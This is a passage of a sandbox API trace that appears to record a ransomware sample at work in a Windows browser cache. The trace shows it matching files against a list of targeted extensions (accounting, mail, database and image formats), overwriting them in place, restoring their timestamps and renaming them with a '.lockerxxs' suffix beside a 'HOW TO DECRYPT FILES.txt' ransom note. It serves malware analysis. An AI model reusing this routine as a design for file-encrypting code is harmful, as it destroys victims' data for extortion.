lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.169] CloseHandle (hObject=0xa4) returned 1 [0084.169] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg.lockerxxs")) returned 1 [0084.170] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a1fd500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a1fd500, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a223660, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5685, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBOmar[1].jpg", cAlternateFileName="BBBOMA~1.JPG")) returned 1 [0084.170] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.170] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBOmar[1].jpg") returned 1 [0084.170] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBOmar[1].jpg") returned 1 [0084.170] lstrcmpiA (lpString1="", lpString2="BBBOmar[1].jpg") returned -1 [0084.170] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg") returned="BBBOddp[1].jpg" [0084.170] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.171] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.171] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.171] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.171] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBOmar[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" [0084.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.ems") returned 0 [0084.171] lstrlenA (lpString="*.ems") returned 5 [0084.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.db") returned 0 [0084.171] lstrlenA (lpString="*.db") returned 4 [0084.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.dbf") returned 0 [0084.171] lstrlenA (lpString="*.dbf") returned 5 [0084.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.myox") returned 0 [0084.171] lstrlenA (lpString="*.myox") returned 6 [0084.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.myo") returned 0 [0084.171] lstrlenA (lpString="*.myo") returned 5 [0084.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.qbw") returned 0 [0084.171] lstrlenA (lpString="*.qbw") returned 5 [0084.171] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.qbb") returned 0 [0084.171] lstrlenA (lpString="*.qbb") returned 5 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.qbm") returned 0 [0084.172] lstrlenA (lpString="*.qbm") returned 5 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.qbo") returned 0 [0084.172] lstrlenA (lpString="*.qbo") returned 5 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.qbx") returned 0 [0084.172] lstrlenA (lpString="*.qbx") returned 5 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.qba") returned 0 [0084.172] lstrlenA (lpString="*.qba") returned 5 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.qby") returned 0 [0084.172] lstrlenA (lpString="*.qby") returned 5 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.qbj") returned 0 [0084.172] lstrlenA (lpString="*.qbj") returned 5 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.ofx") returned 0 [0084.172] lstrlenA (lpString="*.ofx") returned 5 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.qif") returned 0 [0084.172] lstrlenA (lpString="*.qif") returned 5 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.mye") returned 0 [0084.172] lstrlenA (lpString="*.mye") returned 5 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.mbox") returned 0 [0084.172] lstrlenA (lpString="*.mbox") returned 6 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.eml") returned 0 [0084.172] lstrlenA (lpString="*.eml") returned 5 [0084.172] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.pst") returned 0 [0084.172] lstrlenA (lpString="*.pst") returned 5 [0084.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.ost") returned 0 [0084.173] lstrlenA (lpString="*.ost") returned 5 [0084.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.idx") returned 0 [0084.173] lstrlenA (lpString="*.idx") returned 5 [0084.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.dbx") returned 0 [0084.173] lstrlenA (lpString="*.dbx") returned 5 [0084.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.sql") returned 0 [0084.173] lstrlenA (lpString="*.sql") returned 5 [0084.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.mdb") returned 0 [0084.173] lstrlenA (lpString="*.mdb") returned 5 [0084.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.fdb") returned 0 [0084.173] lstrlenA (lpString="*.fdb") returned 5 [0084.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.wab") returned 0 [0084.173] lstrlenA (lpString="*.wab") returned 5 [0084.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.dat") returned 0 [0084.173] lstrlenA (lpString="*.dat") returned 5 [0084.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.txt") returned 0 [0084.173] lstrlenA (lpString="*.txt") returned 5 [0084.173] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.jpeg") returned 0 [0084.173] lstrlenA (lpString="*.jpeg") returned 6 [0084.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", pszSpec="*.jpg") returned 1 [0084.174] lstrlenA (lpString="*.jpg") returned 5 [0084.174] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" [0084.174] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" [0084.174] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg." [0084.174] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg.lockerxxs" [0084.174] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.175] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5685 [0084.175] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x6a1fd500, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x6a1fd500, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x6a223660, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.175] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.176] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x565f, lpOverlapped=0x0) returned 1 [0084.178] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg") returned="BBBOmar[1].jpg" [0084.178] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.178] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x565f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x565f, lpOverlapped=0x0) returned 1 [0084.178] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.178] CloseHandle (hObject=0xa4) returned 1 [0084.179] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg.lockerxxs")) returned 1 [0084.179] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52f7f1f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52f7f1f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52f7f1f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2f6b, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBR4yQ[1].jpg", cAlternateFileName="BBBR4Y~1.JPG")) returned 1 [0084.180] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.180] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBR4yQ[1].jpg") returned 1 [0084.180] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBR4yQ[1].jpg") returned 1 [0084.180] lstrcmpiA (lpString1="", lpString2="BBBR4yQ[1].jpg") returned -1 [0084.180] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg") returned="BBBOmar[1].jpg" [0084.180] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.180] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.180] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.180] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.180] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBR4yQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" [0084.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.ems") returned 0 [0084.180] lstrlenA (lpString="*.ems") returned 5 [0084.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.db") returned 0 [0084.180] lstrlenA (lpString="*.db") returned 4 [0084.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.dbf") returned 0 [0084.180] lstrlenA (lpString="*.dbf") returned 5 [0084.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.myox") returned 0 [0084.180] lstrlenA (lpString="*.myox") returned 6 [0084.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.myo") returned 0 [0084.180] lstrlenA (lpString="*.myo") returned 5 [0084.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.qbw") returned 0 [0084.181] lstrlenA (lpString="*.qbw") returned 5 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.qbb") returned 0 [0084.181] lstrlenA (lpString="*.qbb") returned 5 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.qbm") returned 0 [0084.181] lstrlenA (lpString="*.qbm") returned 5 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.qbo") returned 0 [0084.181] lstrlenA (lpString="*.qbo") returned 5 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.qbx") returned 0 [0084.181] lstrlenA (lpString="*.qbx") returned 5 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.qba") returned 0 [0084.181] lstrlenA (lpString="*.qba") returned 5 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.qby") returned 0 [0084.181] lstrlenA (lpString="*.qby") returned 5 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.qbj") returned 0 [0084.181] lstrlenA (lpString="*.qbj") returned 5 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.ofx") returned 0 [0084.181] lstrlenA (lpString="*.ofx") returned 5 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 